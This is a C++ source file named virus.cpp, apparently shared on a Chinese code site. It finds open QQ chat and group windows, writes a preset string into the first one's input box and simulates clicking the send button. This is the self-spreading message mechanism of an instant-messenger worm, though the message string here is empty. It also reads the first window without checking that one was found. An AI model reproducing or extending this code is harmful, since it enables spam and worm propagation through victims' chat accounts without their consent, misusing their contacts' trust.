📄 virus.cpp
字号:
// virus.cpp : 定义控制台应用程序的入口点。
//
#include "StdAfx.h"
#include <iostream>
#include <string>
#include <locale>
#include <windows.h>
#include <vector>
#include <algorithm>
#include <functional>
#include <Richedit.h>
using namespace std;
BOOL CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam );
BOOL CALLBACK EnumChildWindowsProc( HWND hwnd, LPARAM lParam );
void GetCtrlHwnd(HWND hwnd );
template <class Type>
struct IsQQChatWindow : public unary_function<Type, bool>
{
bool operator()( const Type& hwnd )const
{
TCHAR szTmp[MAX_PATH] = { 0 };
GetWindowText( hwnd, szTmp, MAX_PATH );
wstring strText = szTmp;
TCHAR szClassName[MAX_PATH] = { 0 };
GetClassName( hwnd, szClassName, MAX_PATH );
if( (strText.find( L"聊天中" ) != wstring::npos) && (lstrcmpiW( szClassName, L"#32770" ) == 0) )
return true;
if( (strText.find( L"群" ) != wstring::npos) && (lstrcmpiW( szClassName, L"#32770" ) == 0) )
return true;
if( (strText.find( L"正在输入" ) != wstring::npos) && (lstrcmpiW( szClassName, L"#32770" ) == 0) )
return true;
return false;
}
};
vector<HWND> vecHwnd;
HWND hSendButton;
HWND hEditBox;
TCHAR g_str[] =L"";
int main( void )
{
EnumWindows( EnumWindowsProc, NULL );
TCHAR szText[MAX_PATH] = { 0 };
locale loc("chs");
wcout.imbue( loc );
wcout<< L"all the QQ chat windows:"<< endl;
vecHwnd.erase( remove_if( vecHwnd.begin(), vecHwnd.end(), not1(IsQQChatWindow<HWND>()) ), vecHwnd.end() );
for( vector<HWND>::const_iterator it = vecHwnd.begin(); it != vecHwnd.end(); ++it )
{
GetWindowText( *it, szText, MAX_PATH );
wcout << szText << endl;
ZeroMemory( szText, sizeof szText );
}
hSendButton = NULL;
hEditBox = NULL;
GetCtrlHwnd( vecHwnd[0] );
if( hSendButton != NULL && hEditBox != NULL )
{
wcout << L"OK" << endl;
SendMessage( hEditBox, EM_SETSEL, 0, -1 );
SendMessage( hEditBox, EM_REPLACESEL, FALSE, (LPARAM)g_str );
SendMessage( hSendButton, WM_LBUTTONDOWN, NULL, NULL );
SendMessage( hSendButton, WM_LBUTTONUP, NULL, NULL );
}
return 0;
}
BOOL CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam )
{
if( GetWindowLong( hwnd, GWL_STYLE) & WS_VISIBLE )
vecHwnd.push_back( hwnd );
return TRUE;
}
void GetCtrlHwnd( HWND hwnd )
{
EnumChildWindows( hwnd, EnumChildWindowsProc, NULL );
}
BOOL CALLBACK EnumChildWindowsProc( HWND hwnd, LPARAM lParam )
{
TCHAR szText[MAX_PATH] = { 0 };
GetWindowText( hwnd, szText, MAX_PATH );
if( lstrcmpiW( szText,L"发送(S)" ) == 0 )
{
hSendButton = hwnd;
return TRUE;
}
GetClassName( hwnd, szText, MAX_PATH );
if( lstrcmpiW( szText, L"AfxWnd42" ) == 0 )
{
HWND hChild = GetWindow( hwnd, GW_CHILD );
if( hChild == NULL )
return TRUE;
GetClassName( hChild, szText, MAX_PATH );
if( lstrcmpiW( szText, L"RichEdit20A") == 0 )
{
hEditBox = hChild;
return TRUE;
}
}
return TRUE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -